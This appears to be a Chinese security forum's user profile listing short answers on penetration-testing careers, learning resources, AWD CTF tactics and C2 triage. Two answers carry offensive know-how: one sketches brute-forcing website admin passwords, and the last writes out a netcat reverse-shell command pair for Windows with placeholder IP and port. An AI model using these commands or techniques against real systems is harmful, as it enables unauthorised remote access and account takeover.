Colorado
Colorado

性别: 注册于 2021-07-16

安全小白

向TA求助
143金币数
457 经验值
6个粉丝
主页被访问 8677 次

58 个回答

0 赞同

不懂就问,这是因为我被拉黑了吗

这不是还可以正常发帖吗

回答于 2024-08-01 22:48

0 赞同

渗透测试工程师如何避免中年危机

资质很重要,证书要有,然后可以适当的往pmp啊,或者技术部一把手啊,或者管理层冲

回答于 2024-08-01 19:07

0 赞同

有哪些比较好的视频课程或书籍能帮助快速自学挖洞的?

推荐小迪及暗月,然后下一步可以进入漏洞复现,实战等环节

回答于 2024-08-01 19:05

0 赞同

请问渗透测试工程师什么时候该考虑转行或者转岗呢?

当渗透测试的技能和知识达到一定水平后,如果感觉没有新的学习空间或者提升机会,可能需要考虑转岗或转行。如果你对目前的工作不再满意,或者希望寻求更高层次的职业发展,这时可以考虑转岗。

回答于 2024-08-01 13:46

1 赞同

不知不觉马上要大三,感觉学习网安的进度还非常浅,应该如何规划...

可以在渗透这方面多去实践,多去实战去挖掘漏洞,当你这方面可以到一定程度后,就可以继续提升代码能力了,补足短板

回答于 2024-08-01 13:44

0 赞同

在如今这个大环境下,是使用自考本科学历继续工作还是提升学历考...

如果你对网络安全领域充满热情,并且目前的工作能够让你不断学习和成长,那么可以选择继续工作。工作经验对于网络安全行业来说非常重要,实际操作经验可以帮助你更好地理解理论知识,并且在职业发展上积累优势。如果你觉得目前的学历限制了你的职业发展,可以考虑考研。考研有助于你在网络安全领域内获得更高层次的职位。无...

回答于 2024-08-01 13:41

0 赞同

如何在awd线上比赛中后发制人,骑马反杀?

首先自己写或者找些有用的脚本,比如流量监控、批量提交flag。 至于waf的话,有可能不能上,就不用找了,第一种方式就是你审计自己的源码,查看是否存在潜藏的漏洞, 第二种就是,监控流量,查看人家上线后,传上来的马,进行进一步的利用

回答于 2022-03-06 12:58

0 赞同

一台终端发现外联恶意C2,上机排查无任何发现,是啥原因

事件分析或者日志那里看看,再者查看进程信息、网络连接状态,排查是否存在异常

回答于 2021-12-14 12:08

0 赞同

网站后台密码暴力破解如何发现并利用?

查看是否是cms搭建的或者是使用了框架,然后对测试用户名是否可以找到已创建的用户名,如果找到了真实的用户名,那么可以寻找密码字典进行爆破

回答于 2021-12-02 22:23

0 赞同

windows环境反弹shell是如何操作的?

最简单的一种就是,一端监听,一端发起,从而建立数据通信,nc.exe -e cmd ip 端口   。  nc -lvvp 端口

回答于 2021-12-02 17:27